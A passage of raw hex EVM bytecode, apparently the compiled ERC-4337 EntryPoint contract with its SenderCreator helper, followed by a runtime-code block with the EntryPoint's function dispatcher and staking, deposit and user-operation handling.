06040517fbb47ee3e183a558b1a2ff0874b079f3fc5478b7454eacf2bfc5af2ff5878f97290600090a150600080805b8581101561211c573689898381811061202c5761202c614848565b905060200281019061203e9190614a57565b90506120506040820160208301614424565b73ffffffffffffffffffffffffffffffffffffffff167f575ff3acadd5ab348fe1855e217e0f3678f8d767d7494c9f9fefbee2e17cca4d60405160405180910390a236600061209f8380614a8b565b90925090508060005b8181101561210b576120ea888585848181106120c6576120c6614848565b90506020028101906120d89190614877565b8b8b8151811061123857611238614848565b6120f490886147ea565b965087612100816147fd565b9850506001016120a8565b505060019093019250612011915050565b506040516000907f575ff3acadd5ab348fe1855e217e0f3678f8d767d7494c9f9fefbee2e17cca4d908290a26121528682612e7a565b50505050506112696001600255565b600061216d8234612fc1565b90508173ffffffffffffffffffffffffffffffffffffffff167f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4826040516115d291815260200190565b6000806000845160208601878987f195945050505050565b60603d828111156121dd5750815b604051602082018101604052818152816000602083013e9392505050565b6000805a85519091506000908161221182613001565b60e083015190915073ffffffffffffffffffffffffffffffffffffffff811661223d5782519350612338565b80935060008851111561233857868202955060028a600281111561226357612263614cfa565b146123385760a08301516040517f7c627b2100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff831691637c627b21916122c5908e908d908c908990600401614d29565b600060405180830381600088803b1580156122df57600080fd5b5087f1935050505080156122f1575060015b6123385760006123026108006121cf565b9050806040517fad7954bc0000000000000000000000000000000000000000000000000000000081526004016107579190614d8c565b5a60a0840151606085015160808c01519288039990990198019088038082111561236b576064600a828403020498909801975b505060408901518783029650868110156123e05760028b600281111561239357612393614cfa565b036123b6578096506123a48a613033565b6123b18a6000898b61308f565b612415565b7fdeadaa510000000000000000000000000000000000000000000000000000000060005260206000fd5b8681036123ed8682612fc1565b506000808d600281111561240357612403614cfa565b1490506124128c828b8d61308f565b50505b505050505050949350505050565b600061242e82613117565b805190602001209050919050565b6002805403612477576040517f3ee5aeb500000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60028055565b61257d6040517fd69400000000000000000000000000000000000000000000000000000000000060208201527fffffffffffffffffffffffffffffffffffffffff0000000000000000000000003060601b1660228201527f01000000000000000000000000000000000000000000000000000000000000006036820152600090603701604080518083037fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe00181529190528051602090910120600680547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff90921691909117905550565b60006125ae61258f6040840184614980565b61259c6020860186614424565b6125a960e0870187614980565b6131dc565b905080516000146106e8576000816040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579291906147a2565b60008060005a845190915061260586826132c5565b61260e86610fba565b6020860152604081015161012082015161010083015160a08401516080850151606086015160c0870151861717171717176effffffffffffffffffffffffffffff8111156126b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f41413934206761732076616c756573206f766572666c6f7700000000000000006044820152606401610757565b60006126e78460c081015160a08201516080830151606084015160408501516101009095015194010101010290565b90506126f68a8a8a8487613410565b965061270a84600001518560200151613651565b61277957896040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601a908201527f4141323520696e76616c6964206163636f756e74206e6f6e6365000000000000606082015260800190565b825a860311156127ee57896040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601e908201527f41413236206f76657220766572696669636174696f6e4761734c696d69740000606082015260800190565b60e084015160609073ffffffffffffffffffffffffffffffffffffffff16156128225761281d8b8b8b856136ac565b975090505b604089018290528060608a015260a08a01355a870301896080018181525050505050505050935093915050565b6000805a90506000612862846060015190565b604051909150600090368261287a60608a018a614980565b915091506060600082600381111561289157843591505b507f72288ed1000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008216016129d15760008b8b602001516040516024016128f4929190614d9f565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f8dd7712f000000000000000000000000000000000000000000000000000000001790525190915030906242dc53906129879084908f908d90602401614e85565b604051602081830303815290604052915060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050925050612a48565b3073ffffffffffffffffffffffffffffffffffffffff166242dc5385858d8b604051602401612a039493929190614ec5565b604051602081830303815290604052915060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505091505b602060008351602085016000305af19550600051985084604052505050505080612c1b5760003d80602003612a835760206000803e60005191505b507fdeaddead000000000000000000000000000000000000000000000000000000008103612b1657876040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052600f908201527f41413935206f7574206f66206761730000000000000000000000000000000000606082015260800190565b7fdeadaa51000000000000000000000000000000000000000000000000000000008103612b8057600086608001515a612b4f9087614835565b612b5991906147ea565b6040880151909150612b6a88613033565b612b77886000838561308f565b9550612c199050565b8551805160208089015192015173ffffffffffffffffffffffffffffffffffffffff90911691907ff62676f440ff169a3a9afdbf812e89e7f95975ee8e5c31214ffdef631c5f479290612bd46108006121cf565b604051612be29291906147a2565b60405180910390a3600086608001515a612bfc9087614835565b612c0691906147ea565b9050612c1560028886846121fb565b9550505b505b5050509392505050565b600080612c3185613903565b915091508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612cd357856040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526014908201527f41413234207369676e6174757265206572726f72000000000000000000000000606082015260800190565b8015612d4457856040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526017908201527f414132322065787069726564206f72206e6f7420647565000000000000000000606082015260800190565b6000612d4f85613903565b9250905073ffffffffffffffffffffffffffffffffffffffff811615612dda57866040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526014908201527f41413334207369676e6174757265206572726f72000000000000000000000000606082015260800190565b8115612e7157866040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526021908201527f41413332207061796d61737465722065787069726564206f72206e6f7420647560608201527f6500000000000000000000000000000000000000000000000000000000000000608082015260a00190565b50505050505050565b73ffffffffffffffffffffffffffffffffffffffff8216612ef7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f4141393020696e76616c69642062656e656669636961727900000000000000006044820152606401610757565b60008273ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d8060008114612f51576040519150601f19603f3d011682016040523d82523d6000602084013e612f56565b606091505b5050905080611269576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f41413931206661696c65642073656e6420746f2062656e6566696369617279006044820152606401610757565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260208190526040812080548290612ff59085906147ea565b91829055509392505050565b6101008101516101208201516000919080820361301f575092915050565b61302b82488301613956565b949350505050565b805180516020808401519281015160405190815273ffffffffffffffffffffffffffffffffffffffff90921692917f67b4fa9642f42120bf031f3051d1824b0fe25627945b27b8a6a65d5761d5482e910160405180910390a350565b835160e0810151815160208088015193015160405173ffffffffffffffffffffffffffffffffffffffff9384169492909316927f49628fd1471006c1482da88028e9ce4dbb080b815c9b0344d39e5a8e6ec1419f916131099189908990899093845291151560208401526040830152606082015260800190565b60405180910390a450505050565b60608135602083013560006131376131326040870187614980565b61396e565b9050600061314b6131326060880188614980565b9050608086013560a087013560c0880135600061316e61313260e08c018c614980565b6040805173ffffffffffffffffffffffffffffffffffffffff9a909a1660208b015289810198909852606089019690965250608087019390935260a086019190915260c085015260e08401526101008084019190915281518084039091018152610120909201905292915050565b606084158015613201575073ffffffffffffffffffffffffffffffffffffffff84163b155b15613240575060408051808201909152601981527f41413230206163636f756e74206e6f74206465706c6f7965640000000000000060208201526132bc565b601482106132ab57600061325760148285876149e5565b61326091614a0f565b60601c9050803b6000036132a957505060408051808201909152601b81527f41413330207061796d6173746572206e6f74206465706c6f796564000000000060208201526132bc565b505b506040805160208101909152600081525b95945050505050565b6132d26020830183614424565b73ffffffffffffffffffffffffffffffffffffffff168152602082810135908201526fffffffffffffffffffffffffffffffff6080808401358281166060850152811c604084015260a084013560c0808501919091528401359182166101008401521c61012082015236600061334b60e0850185614980565b909250905080156133f55760348110156133c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f4141393320696e76616c6964207061796d6173746572416e64446174610000006044820152606401610757565b6133cb8282613981565b60a0860152608085015273ffffffffffffffffffffffffffffffffffffffff1660e0840152610fb4565b600060e084018190526080840181905260a084015250505050565b825180516000919061342f888761342a60408b018b614980565b6139f2565b60e0820151600073ffffffffffffffffffffffffffffffffffffffff821661348d5773ffffffffffffffffffffffffffffffffffffffff831660009081526020819052604090205487811161348657808803613489565b60005b9150505b60208801516040517f19822f7c00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8516916319822f7c9189916134e9918e91908790600401614efc565b60206040518083038160008887f193505050508015613543575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820190925261354091810190614f21565b60015b61358757896135536108006121cf565b6040517f65c8fd4d000000000000000000000000000000000000000000000000000000008152600401610757929190614f3a565b945073ffffffffffffffffffffffffffffffffffffffff82166136445773ffffffffffffffffffffffffffffffffffffffff8316600090815260208190526040902080548089111561363e578b6040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526017908201527f41413231206469646e2774207061792070726566756e64000000000000000000606082015260800190565b88900390555b5050505095945050505050565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260016020908152604080832084821c808552925282208054849167ffffffffffffffff831691908561369e836147fd565b909155501495945050505050565b60606000805a855160e081015173ffffffffffffffffffffffffffffffffffffffff81166000908152602081905260409020805493945091929091908781101561375b578a6040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601e908201527f41413331207061796d6173746572206465706f73697420746f6f206c6f770000606082015260800190565b87810382600001819055506000846080015190508373ffffffffffffffffffffffffffffffffffffffff166352b7512c828d8d602001518d6040518563ffffffff1660e01b81526004016137b193929190614efc565b60006040518083038160008887f19350505050801561381057506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261380d9190810190614f87565b60015b613854578b6138206108006121cf565b6040517f65c8fd4d000000000000000000000000000000000000000000000000000000008152600401610757929190615008565b9098509650805a870311156138f4578b6040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526027908201527f41413336206f766572207061796d6173746572566572696669636174696f6e4760608201527f61734c696d697400000000000000000000000000000000000000000000000000608082015260a00190565b50505050505094509492505050565b6000808260000361391957506000928392509050565b600061392484613d7e565b9050806040015165ffffffffffff1642118061394b5750806020015165ffffffffffff1642105b905194909350915050565b60008183106139655781613967565b825b9392505050565b6000604051828085833790209392505050565b6000808061399260148286886149e5565b61399b91614a0f565b60601c6139ac6024601487896149e5565b6139b591615055565b60801c6139c660346024888a6149e5565b6139cf91615055565b9194506fffffffffffffffffffffffffffffffff16925060801c90509250925092565b8015610fb45782515173ffffffffffffffffffffffffffffffffffffffff81163b15613a8357846040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601f908201527f414131302073656e64657220616c726561647920636f6e737472756374656400606082015260800190565b6000613aa460065473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1663570e1a3686600001516040015186866040518463ffffffff1660e01b8152600401613ae7929190614929565b60206040518083038160008887f1158015613b06573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613b2b919061493d565b905073ffffffffffffffffffffffffffffffffffffffff8116613bb357856040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601b908201527f4141313320696e6974436f6465206661696c6564206f72204f4f470000000000606082015260800190565b8173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614613c5057856040517f220266b600000000000000000000000000000000000000000000000000000000815260040161075791815260406020808301829052908201527f4141313420696e6974436f6465206d7573742072657475726e2073656e646572606082015260800190565b8073ffffffffffffffffffffffffffffffffffffffff163b600003613cd957856040517f220266b600000000000000000000000000000000000000000000000000000000815260040161075791815260406020808301829052908201527f4141313520696e6974436f6465206d757374206372656174652073656e646572606082015260800190565b6000613ce860148286886149e5565b613cf191614a0f565b60601c90508273ffffffffffffffffffffffffffffffffffffffff1686602001517fd51a9c61267aa6196961883ecf5ff2da6619c37dac0fa92122513fb32c032d2d83896000015160e00151604051613d6d92919073ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b60405180910390a350505050505050565b60408051606081018252600080825260208201819052918101919091528160a081901c65ffffffffffff8116600003613dba575065ffffffffffff5b6040805160608101825273ffffffffffffffffffffffffffffffffffffffff909316835260d09490941c602083015265ffffffffffff16928101929092525090565b6040518060a00160405280613e89604051806101400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081525090565b8152602001600080191681526020016000815260200160008152602001600081525090565b6040518060a00160405280613eeb6040518060a0016040528060008152602001600081526020016000815260200160008152602001606081525090565b8152602001613f0d604051806040016040528060008152602001600081525090565b8152602001613f2f604051806040016040528060008152602001600081525090565b8152602001613f51604051806040016040528060008152602001600081525090565b8152602001613f5e613f63565b905290565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001613f5e604051806040016040528060008152602001600081525090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405160a0810167ffffffffffffffff81118282101715613ffa57613ffa613fa8565b60405290565b604051610140810167ffffffffffffffff81118282101715613ffa57613ffa613fa8565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff8111828210171561406b5761406b613fa8565b604052919050565b600067ffffffffffffffff82111561408d5761408d613fa8565b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01660200190565b73ffffffffffffffffffffffffffffffffffffffff811681146140db57600080fd5b50565b80356110ec816140b9565b60008183036101c08112156140fd57600080fd5b614105613fd7565b91506101408082121561411757600080fd5b61411f614000565b915061412a846140de565b82526020840135602083015260408401356040830152606084013560608301526080840135608083015260a084013560a083015260c084013560c083015261417460e085016140de565b60e0830152610100848101359083015261012080850135908301529082528201356020820152610160820135604082015261018082013560608201526101a0909101356080820152919050565b60008083601f8401126141d357600080fd5b50813567ffffffffffffffff8111156141eb57600080fd5b60208301915083602082850101111561420357600080fd5b9250929050565b600080600080610200858703121561422157600080fd5b843567ffffffffffffffff8082111561423957600080fd5b818701915087601f83011261424d57600080fd5b813561426061425b82614073565b614024565b81815289602083860101111561427557600080fd5b81602085016020830137600060208383010152809750505061429a88602089016140e9565b94506101e08701359150808211156142b157600080fd5b506142be878288016141c1565b95989497509550505050565b6000602082840312156142dc57600080fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461396757600080fd5b60006020828403121561431e57600080fd5b813563ffffffff8116811461396757600080fd5b803577ffffffffffffffffffffffffffffffffffffffffffffffff811681146110ec57600080fd5b60006020828403121561436c57600080fd5b61396782614332565b6000806040838503121561438857600080fd5b8235614393816140b9565b91506143a160208401614332565b90509250929050565b600080604083850312156143bd57600080fd5b82356143c8816140b9565b946020939093013593505050565b600061012082840312156143e957600080fd5b50919050565b60006020828403121561440157600080fd5b813567ffffffffffffffff81111561441857600080fd5b61302b848285016143d6565b60006020828403121561443657600080fd5b8135613967816140b9565b60005b8381101561445c578181015183820152602001614444565b50506000910152565b6000815180845261447d816020860160208601614441565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60208152815160208201526020820151604082015260408201516060820152606082015160808201526080820151151560a0820152600060a083015160c08084015261302b60e0840182614465565b60008083601f84011261451057600080fd5b50813567ffffffffffffffff81111561452857600080fd5b6020830191508360208260051b850101111561420357600080fd5b60008060006040848603121561455857600080fd5b833567ffffffffffffffff81111561456f57600080fd5b61457b868287016144fe565b909450925050602084013561458f816140b9565b809150509250925092565b6000806000604084860312156145af57600080fd5b83356145ba816140b9565b9250602084013567ffffffffffffffff8111156145d657600080fd5b6145e2868287016141c1565b9497909650939450505050565b6000806020838503121561460257600080fd5b823567ffffffffffffffff81111561461957600080fd5b614625858286016141c1565b90969095509350505050565b602080825282516101408383015280516101608401529081015161018083015260408101516101a083015260608101516101c08301526080015160a06101e0830152600090614684610200840182614465565b905060208401516146a2604085018280518252602090810151910152565b506040840151805160808581019190915260209182015160a08601526060860151805160c087015282015160e0860152850151805173ffffffffffffffffffffffffffffffffffffffff1661010086015280820151805161012087015290910151610140850152509392505050565b6000806000806060858703121561472757600080fd5b843567ffffffffffffffff8082111561473f57600080fd5b61474b888389016143d6565b95506020870135915061475d826140b9565b909350604086013590808211156142b157600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b82815260406020820152600061302b6040830184614465565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b80820180821115610a2c57610a2c6147bb565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361482e5761482e6147bb565b5060010190565b81810381811115610a2c57610a2c6147bb565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600082357ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffee18336030181126148ab57600080fd5b9190910192915050565b8183823760009101908152919050565b821515815260406020820152600061302b6040830184614465565b8183528181602085013750600060208284010152600060207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f840116840101905092915050565b60208152600061302b6020830184866148e0565b60006020828403121561494f57600080fd5b8151613967816140b9565b65ffffffffffff818116838216019080821115614979576149796147bb565b5092915050565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe18436030181126149b557600080fd5b83018035915067ffffffffffffffff8211156149d057600080fd5b60200191503681900382131561420357600080fd5b600080858511156149f557600080fd5b83861115614a0257600080fd5b5050820193919092039150565b7fffffffffffffffffffffffffffffffffffffffff0000000000000000000000008135818116916014851015614a4f5780818660140360031b1b83161692505b505092915050565b600082357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa18336030181126148ab57600080fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112614ac057600080fd5b83018035915067ffffffffffffffff821115614adb57600080fd5b6020019150600581901b360382131561420357600080fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112614b2857600080fd5b830160208101925035905067ffffffffffffffff811115614b4857600080fd5b80360382131561420357600080fd5b6000610120614b8384614b69856140de565b73ffffffffffffffffffffffffffffffffffffffff169052565b60208301356020850152614b9a6040840184614af3565b826040870152614bad83870182846148e0565b92505050614bbe6060840184614af3565b8583036060870152614bd18382846148e0565b925050506080830135608085015260a083013560a085015260c083013560c0850152614c0060e0840184614af3565b85830360e0870152614c138382846148e0565b92505050610100614c2681850185614af3565b86840383880152614c388482846148e0565b979650505050505050565b6040808252810184905260006060600586901b830181019083018783805b89811015614ce3577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa087860301845282357ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffee18c3603018112614cc1578283fd5b614ccd868d8301614b57565b9550506020938401939290920191600101614c61565b505050508281036020840152614c388185876148e0565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b600060038610614d62577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b85825260806020830152614d796080830186614465565b6040830194909452506060015292915050565b6020815260006139676020830184614465565b604081526000614db26040830185614b57565b90508260208301529392505050565b8051805173ffffffffffffffffffffffffffffffffffffffff1683526020810151602084015260408101516040840152606081015160608401526080810151608084015260a081015160a084015260c081015160c084015260e0810151614e4060e085018273ffffffffffffffffffffffffffffffffffffffff169052565b5061010081810151908401526101209081015190830152602081015161014083015260408101516101608301526060810151610180830152608001516101a090910152565b6000610200808352614e9981840187614465565b9050614ea86020840186614dc1565b8281036101e0840152614ebb8185614465565b9695505050505050565b6000610200808352614eda81840187896148e0565b9050614ee96020840186614dc1565b8281036101e0840152614c388185614465565b606081526000614f0f6060830186614b57565b60208301949094525060400152919050565b600060208284031215614f3357600080fd5b5051919050565b82815260606020820152600d60608201527f4141323320726576657274656400000000000000000000000000000000000000608082015260a06040820152600061302b60a0830184614465565b60008060408385031215614f9a57600080fd5b825167ffffffffffffffff811115614fb157600080fd5b8301601f81018513614fc257600080fd5b8051614fd061425b82614073565b818152866020838501011115614fe557600080fd5b614ff6826020830160208601614441565b60209590950151949694955050505050565b82815260606020820152600d60608201527f4141333320726576657274656400000000000000000000000000000000000000608082015260a06040820152600061302b60a0830184614465565b7fffffffffffffffffffffffffffffffff000000000000000000000000000000008135818116916010851015614a4f5760109490940360031b84901b169092169291505056fea264697066735822122022e02178dc569768380168e9e3ea80c02f334e22212a424c7e3d8b24376c948964736f6c63430008170033608060405234801561001057600080fd5b50610213806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063570e1a3614610030575b600080fd5b61004361003e3660046100f9565b61006c565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b60008061007c601482858761016b565b61008591610195565b60601c90506000610099846014818861016b565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092018290525084519495509360209350849250905082850182875af190506000519350806100f057600093505b50505092915050565b6000806020838503121561010c57600080fd5b823567ffffffffffffffff8082111561012457600080fd5b818501915085601f83011261013857600080fd5b81358181111561014757600080fd5b86602082850101111561015957600080fd5b60209290920196919550909350505050565b6000808585111561017b57600080fd5b8386111561018857600080fd5b5050820193919092039150565b7fffffffffffffffffffffffffffffffffffffffff00000000000000000000000081358181169160148510156101d55780818660140360031b1b83161692505b50509291505056fea2646970667358221220f4eeea3c52e568afe7af0cb6d22e9eba322f25189228e2d96485c8f1d485112464736f6c63430008170033
|
60806040526004361061016d5760003560e01c806370a08231116100cb578063bb9fe6bf1161007f578063c5f996e611610059578063c5f996e6146105b9578063dbed18e0146105d9578063fc7e286d146105f957600080fd5b8063bb9fe6bf14610557578063c23a5cea1461056c578063c3bce0091461058c57600080fd5b8063850aaf62116100b0578063850aaf62146105045780639b249f6914610524578063b760faf91461054457600080fd5b806370a08231146104a1578063765e827f146104e457600080fd5b8063205c28781161012257806335567e1a1161010757806335567e1a146102905780635287ce12146103255780635895273b1461047457600080fd5b8063205c28781461025057806322cdde4c1461027057600080fd5b80630396cb60116101535780630396cb60146101e55780630bd28e3b146101f85780631b2e01b81461021857600080fd5b806242dc531461018257806301ffc9a7146101b557600080fd5b3661017d5761017b336106cb565b005b600080fd5b34801561018e57600080fd5b506101a261019d36600461420a565b6106ec565b6040519081526020015b60405180910390f35b3480156101c157600080fd5b506101d56101d03660046142ca565b6108b5565b60405190151581526020016101ac565b61017b6101f336600461430c565b610a32565b34801561020457600080fd5b5061017b61021336600461435a565b610dc8565b34801561022457600080fd5b506101a2610233366004614375565b600160209081526000928352604080842090915290825290205481565b34801561025c57600080fd5b5061017b61026b3660046143aa565b610e10565b34801561027c57600080fd5b506101a261028b3660046143ef565b610fba565b34801561029c57600080fd5b506101a26102ab366004614375565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260016020908152604080832077ffffffffffffffffffffffffffffffffffffffffffffffff8516845290915290819020549082901b7fffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000161792915050565b34801561033157600080fd5b50610412610340366004614424565b6040805160a0810182526000808252602082018190529181018290526060810182905260808101919091525073ffffffffffffffffffffffffffffffffffffffff1660009081526020818152604091829020825160a0810184528154815260019091015460ff811615159282019290925261010082046dffffffffffffffffffffffffffff16928101929092526f01000000000000000000000000000000810463ffffffff166060830152730100000000000000000000000000000000000000900465ffffffffffff16608082015290565b6040516101ac9190600060a082019050825182526020830151151560208301526dffffffffffffffffffffffffffff604084015116604083015263ffffffff606084015116606083015265ffffffffffff608084015116608083015292915050565b34801561048057600080fd5b5061049461048f3660046143ef565b610ffc565b6040516101ac91906144af565b3480156104ad57600080fd5b506101a26104bc366004614424565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b3480156104f057600080fd5b5061017b6104ff366004614543565b6110f1565b34801561051057600080fd5b5061017b61051f36600461459a565b61126e565b34801561053057600080fd5b5061017b61053f3660046145ef565b611313565b61017b610552366004614424565b6106cb565b34801561056357600080fd5b5061017b6113fe565b34801561057857600080fd5b5061017b610587366004614424565b6115de565b34801561059857600080fd5b506105ac6105a73660046143ef565b6118cb565b6040516101ac9190614631565b3480156105c557600080fd5b5061017b6105d4366004614711565b611bcf565b3480156105e557600080fd5b5061017b6105f4366004614543565b611cb5565b34801561060557600080fd5b50610681610614366004614424565b6000602081905290815260409020805460019091015460ff81169061010081046dffffffffffffffffffffffffffff16906f01000000000000000000000000000000810463ffffffff1690730100000000000000000000000000000000000000900465ffffffffffff1685565b6040805195865293151560208601526dffffffffffffffffffffffffffff9092169284019290925263ffffffff909116606083015265ffffffffffff16608082015260a0016101ac565b60015b60058110156106df576001016106ce565b6106e882612161565b5050565b6000805a9050333014610760576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4141393220696e7465726e616c2063616c6c206f6e6c7900000000000000000060448201526064015b60405180910390fd5b8451606081015160a082015181016127100160405a603f028161078557610785614773565b0410156107b6577fdeaddead0000000000000000000000000000000000000000000000000000000060005260206000fd5b8751600090156108575760006107d3846000015160008c866121b7565b9050806108555760006107e76108006121cf565b80519091501561084f57846000015173ffffffffffffffffffffffffffffffffffffffff168a602001517f1c4fada7374c0a9ee8841fc38afe82932dc0f8e69012e927f061a8bae611a2018760200151846040516108469291906147a2565b60405180910390a35b60019250505b505b600088608001515a86030190506108a7828a8a8a8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508792506121fb915050565b9a9950505050505050505050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f60fc6b6e00000000000000000000000000000000000000000000000000000000148061094857507fffffffff0000000000000000000000000000000000000000000000000000000082167f915074d800000000000000000000000000000000000000000000000000000000145b8061099457507fffffffff0000000000000000000000000000000000000000000000000000000082167fcf28ef9700000000000000000000000000000000000000000000000000000000145b806109e057507fffffffff0000000000000000000000000000000000000000000000000000000082167f3e84f02100000000000000000000000000000000000000000000000000000000145b80610a2c57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b33600090815260208190526040902063ffffffff8216610aae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f6d757374207370656369667920756e7374616b652064656c61790000000000006044820152606401610757565b600181015463ffffffff6f0100000000000000000000000000000090910481169083161015610b39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f63616e6e6f7420646563726561736520756e7374616b652074696d65000000006044820152606401610757565b6001810154600090610b6190349061010090046dffffffffffffffffffffffffffff166147ea565b905060008111610bcd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f6e6f207374616b652073706563696669656400000000000000000000000000006044820152606401610757565b6dffffffffffffffffffffffffffff811115610c45576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f7374616b65206f766572666c6f770000000000000000000000000000000000006044820152606401610757565b6040805160a08101825283548152600160208083018281526dffffffffffffffffffffffffffff86811685870190815263ffffffff8a811660608801818152600060808a0181815233808352828a52918c90209a518b55965199909801805494519151965165ffffffffffff16730100000000000000000000000000000000000000027fffffffffffffff000000000000ffffffffffffffffffffffffffffffffffffff979094166f0100000000000000000000000000000002969096167fffffffffffffff00000000000000000000ffffffffffffffffffffffffffffff91909516610100027fffffffffffffffffffffffffffffffffff0000000000000000000000000000ff991515999099167fffffffffffffffffffffffffffffffffff00000000000000000000000000000090941693909317979097179190911691909117179055835185815290810192909252917fa5ae833d0bb1dcd632d98a8b70973e8516812898e19bf27b70071ebc8dc52c01910160405180910390a2505050565b33600090815260016020908152604080832077ffffffffffffffffffffffffffffffffffffffffffffffff851684529091528120805491610e08836147fd565b919050555050565b3360009081526020819052604090208054821115610e8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f576974686472617720616d6f756e7420746f6f206c61726765000000000000006044820152606401610757565b8054610e97908390614835565b81556040805173ffffffffffffffffffffffffffffffffffffffff851681526020810184905233917fd1c19fbcd4551a5edfb66d43d2e337c04837afda3482b42bdf569a8fccdae5fb910160405180910390a260008373ffffffffffffffffffffffffffffffffffffffff168360405160006040518083038185875af1925050503d8060008114610f44576040519150601f19603f3d011682016040523d82523d6000602084013e610f49565b606091505b5050905080610fb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f6661696c656420746f20776974686472617700000000000000000000000000006044820152606401610757565b50505050565b6000610fc582612423565b6040805160208101929092523090820152466060820152608001604051602081830303815290604052805190602001209050919050565b6110376040518060c0016040528060008152602001600081526020016000815260200160008152602001600015158152602001606081525090565b61103f61243c565b611047613dfc565b6110508361247d565b60008061105f600086856125f0565b9150915060006110716000878661284f565b90506040518060c00160405280856080015181526020018281526020018481526020018381526020016000151581526020016040518060400160405280600281526020017f30780000000000000000000000000000000000000000000000000000000000008152508152509450505050506110ec6001600255565b919050565b6110f961243c565b8160008167ffffffffffffffff81111561111557611115613fa8565b60405190808252806020026020018201604052801561114e57816020015b61113b613dfc565b8152602001906001900390816111335790505b50905060005b828110156111c757600082828151811061117057611170614848565b602002602001015190506000806111ab848a8a8781811061119357611193614848565b90506020028101906111a59190614877565b856125f0565b915091506111bc8483836000612c25565b50505060010161115